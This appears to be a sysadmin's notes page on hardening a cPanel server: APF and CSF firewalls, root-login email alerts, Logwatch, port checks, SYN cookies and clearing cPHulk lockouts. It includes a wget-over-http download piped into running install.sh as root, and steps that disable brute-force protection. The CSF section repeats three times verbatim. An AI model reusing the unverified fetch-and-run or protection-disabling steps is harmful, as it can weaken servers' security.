tail -f /var/log/apf_log

Example output:
Aug 23 01:25:55 ocean apf(31448): (insert) deny all to/from 185.14.157.123
Aug 23 01:39:43 ocean apf(32172): (insert) allow all to/from 185.14.157.123

12. New - Make APF Start automatically at boot time
To autostart apf on reboot, run this:
chkconfig --level 2345 apf on
To remove it from autostart, run this:
chkconfig --del apf

13. Denying IPs with APF Firewall (Blocking)
Now that you have your shiny new firewall you probably want to block a host right, of course you do! With this new version APF now supports comments as well. There are a few ways you can block an IP, I'll show you 2 of the easier methods.
A) /etc/apf/apf -d IPHERE COMMENTHERENOSPACES
> The -d flag means DENY the IP address
> IPHERE is the IP address you wish to block
> COMMENTSHERENOSPACES is obvious, add comments to why the IP is being blocked
These rules are loaded right away into the firewall, so they're instantly active.
Example:

./apf -d 185.14.157.123 TESTING



pico /etc/apf/deny_hosts.rules

Shows the following:

# added 185.14.157.123 on 08/23/05 01:25:55
# TESTING
185.14.157.123

B) pico /etc/apf/deny_hosts.rules
You can then just add a new line and enter the IP you wish to block. Before this becomes active though you'll need to reload the APF ruleset.

/etc/apf/apf -r

14. Allowing IPs with APF Firewall (Unblocking)

I know I know, you added an IP now you need it removed right away! You need to manually remove IPs that are blocked from deny_hosts.rules.
A)
pico /etc/apf/deny_hosts.rules

Find where the IP is listed and remove the line that has the IP.
After this is done save the file and reload apf to make the new changes active.

/etc/apf/apf -r

B) If the IP isn't already listed in deny_hosts.rules and you wish to allow it, this method adds the entry to allow_hosts.rules

/etc/apf/apf -a IPHERE COMMENTHERENOSPACES
> The -a flag means ALLOW the IP address
> IPHERE is the IP address you wish to allow
> COMMENTSHERENOSPACES is obvious, add comments to why the IP is being removed These rules are loaded right away into the firewall, so they're instantly active.
Example:

./apf -a 185.14.157.123 UNBLOCKING

pico /etc/apf/allow_hosts.rules

# added 185.14.157.123 on 08/23/05 01:39:43
# UNBLOCKING
185.14.157.123

How to install CSF on cPanel

rm -fv csf.tgz
wget http://www.configserver.com/free/csf.tgz
tar -xzf csf.tgz
cd csf
sh install.sh

sh disable_apf_bfd.sh

/usr/sbin/csf -u

/usr/sbin/csf -f

Usage: /usr/sbin/csf [option] [value]

Option Meaning
-h, –help Show this message
-l, –status List/Show iptables configuration
-s, –start Start firewall rules
-f, –stop Flush/Stop firewall rules
-r, –restart Restart firewall rules
-a, –add [ip] Add an IP address to be whitelisted to /etc/csf.allow
-d, –deny [ip] Add an IP address to be blocked to /etc/csf.deny
-u, –update Checks for updates to csf+lfd and performs an upgrade if available
-x, –disable Disable csf and lfd
-e, –enable Enable csf and lfd if previously disabled
-v, –version Show csf version

If you would like to disable APF+BFD (which you will need to do if you have
them installed otherwise they will conflict horribly):

sh disable_apf_bfd.sh

That’s it. You can then configure csf and lfd in WHM, or edit the files
directly in /etc/csf/*

csf is preconfigured to work on a cPanel server with all the standard cPanel
ports open. It also auto-configures your SSH port if it’s non-standard on
installation.

You should ensure that kernel logging daemon (klogd) is enabled. Typically, VPS
servers have this disabled and you should check /etc/init.d/syslog and make
sure that any klogd lines are not commented out. If you change the file,
remember to restart syslog.

See the readme.txt file for more information.

Uninstallation
==============
Removing csf and lfd is even more simple:

cd /etc/csf
sh uninstall.sh

How to install CSF on cPanel

rm -fv csf.tgz
wget http://www.configserver.com/free/csf.tgz
tar -xzf csf.tgz
cd csf
sh install.sh

sh disable_apf_bfd.sh

/usr/sbin/csf -u

/usr/sbin/csf -f

Usage: /usr/sbin/csf [option] [value]

Option Meaning
-h, –help Show this message
-l, –status List/Show iptables configuration
-s, –start Start firewall rules
-f, –stop Flush/Stop firewall rules
-r, –restart Restart firewall rules
-a, –add [ip] Add an IP address to be whitelisted to /etc/csf.allow
-d, –deny [ip] Add an IP address to be blocked to /etc/csf.deny
-u, –update Checks for updates to csf+lfd and performs an upgrade if available
-x, –disable Disable csf and lfd
-e, –enable Enable csf and lfd if previously disabled
-v, –version Show csf version

If you would like to disable APF+BFD (which you will need to do if you have
them installed otherwise they will conflict horribly):

sh disable_apf_bfd.sh

That’s it. You can then configure csf and lfd in WHM, or edit the files
directly in /etc/csf/*

csf is preconfigured to work on a cPanel server with all the standard cPanel
ports open. It also auto-configures your SSH port if it’s non-standard on
installation.

You should ensure that kernel logging daemon (klogd) is enabled. Typically, VPS
servers have this disabled and you should check /etc/init.d/syslog and make
sure that any klogd lines are not commented out. If you change the file,
remember to restart syslog.

See the readme.txt file for more information.

Uninstallation
==============
Removing csf and lfd is even more simple:

cd /etc/csf
sh uninstall.sh

How to install CSF on cPanel

rm -fv csf.tgz
wget http://www.configserver.com/free/csf.tgz
tar -xzf csf.tgz
cd csf
sh install.sh

sh disable_apf_bfd.sh

/usr/sbin/csf -u

/usr/sbin/csf -f

Usage: /usr/sbin/csf [option] [value]

Option Meaning
-h, –help Show this message
-l, –status List/Show iptables configuration
-s, –start Start firewall rules
-f, –stop Flush/Stop firewall rules
-r, –restart Restart firewall rules
-a, –add [ip] Add an IP address to be whitelisted to /etc/csf.allow
-d, –deny [ip] Add an IP address to be blocked to /etc/csf.deny
-u, –update Checks for updates to csf+lfd and performs an upgrade if available
-x, –disable Disable csf and lfd
-e, –enable Enable csf and lfd if previously disabled
-v, –version Show csf version

If you would like to disable APF+BFD (which you will need to do if you have
them installed otherwise they will conflict horribly):

sh disable_apf_bfd.sh

That’s it. You can then configure csf and lfd in WHM, or edit the files
directly in /etc/csf/*

csf is preconfigured to work on a cPanel server with all the standard cPanel
ports open. It also auto-configures your SSH port if it’s non-standard on
installation.

You should ensure that kernel logging daemon (klogd) is enabled. Typically, VPS
servers have this disabled and you should check /etc/init.d/syslog and make
sure that any klogd lines are not commented out. If you change the file,
remember to restart syslog.

See the readme.txt file for more information.

Uninstallation
==============
Removing csf and lfd is even more simple:

cd /etc/csf
sh uninstall.sh

Log watch and root emailed

—-Server e-mail every time someone logs in as root

To have the server e-mail you everytime someone logs in as root, SSH into server and login as root.

At command prompt type: pico .bash_profile

Scroll down to the end of the file and add the following line:

echo ‘ALERT – Root Shell Access on:’ `date` `who` | mail -s “Alert: Root Access from `who | awk ‘{print $6}’`” support@dwhs.net

Save and exit.

—-

Modify LogWatch

Logwatch is a customizable log analysis system. It parses through your system’s logs for a given period of time and creates a report analyzing areas that you specify, in as much detail as you require. Logwatch is already installed on most CPanel servers.

To modify LogWatch, SSH into server and login as root.

At command prompt type: pico -w /etc/log.d/conf/logwatch.conf

Scroll down to

MailTo = root

and change to

Mailto = support@dwhs.net

Note: Set the e-mail address to an offsite account incase you get hacked.

Now scroll down to

Detail = Low

Change that to Medium, or High…

Detail = 5 or Detail = 10

Note: High will give you more detailed logs with all actions.

Save and exit.

Port listening check

nmap localhost (checks listening ports)
lsof -i :1980 (checks what running on that port)
kill -15 (kills what’s running on that port)

—-check open ports—-

check for open ports: ‘netstat -a’

How to prevent SYN attacks

Enable SYN cookies mechanism in the server by the executing command:

#  echo 1 > /proc/sys/net/ipv4/tcp_syncookies

Increase the backlog queue to 2048 by the command:

# sysctl -w net.ipv4.tcp_max_syn_backlog=”2048?

Brute Force Error - WHM locked out

cPHulk Brute Force Protection prevents malicious forces from trying to access your server’s services by guessing the login password for that service. BUT sometimes it becomes troublesome when you are accessing the cPanel with incorrect password and cPanel assuming you as attacker blocks you with below message :- This account is currently locked out because a brute force attempt was detected. Please wait 10 minutes and try again. Attempting to login again will only increase this delay. If you frequently experience this problem, we recommend having your username changed to something less generic.

To figure out of such situation you can disable cphulkd protection :

login via ssh and disable cphulkd using the command below.

root@PUSHKAR [~]# /usr/local/cpanel/etc/init/stopcphulkd

This should allow you to login to WHM and double check your cphulk settings.

You can view IP addresses that have been blocked via the WHM interface: WHM -> Security -> Security Center -> cPHulk Brute Force Protection in the Brutes table. On that screen, you can also customize brute force protection settings.

Then log into your WHM >> Security Center >> cPHulk Brute Force Protection >> Flush DB

Make Sure to restart cphulkd protection from SSH, simply fire the following command

root@PUSHKAR [~]# /usr/local/cpanel/etc/init/startcphulkd


Well the other way to this is to remove the IP’s blocked by cPHulk from its database .

ssh to the server login as root and type the following at the prompt

[root@server:] mysql

mysql> use cphulkd;

mysql>BACKUP TABLE brutes TO ‘/path/to/backup/directory’;

mysql> SELECT * FROM brutes WHERE `IP`=’xxx.xxx.xxx.xxx’;

mysql> DELETE FROM brutes WHERE `IP`=’xxx.xxx.xxx.xxx’;

mysql>quit

Go_GrEen^ThiNk_GReeN~LoVE_GreEn - Pushkar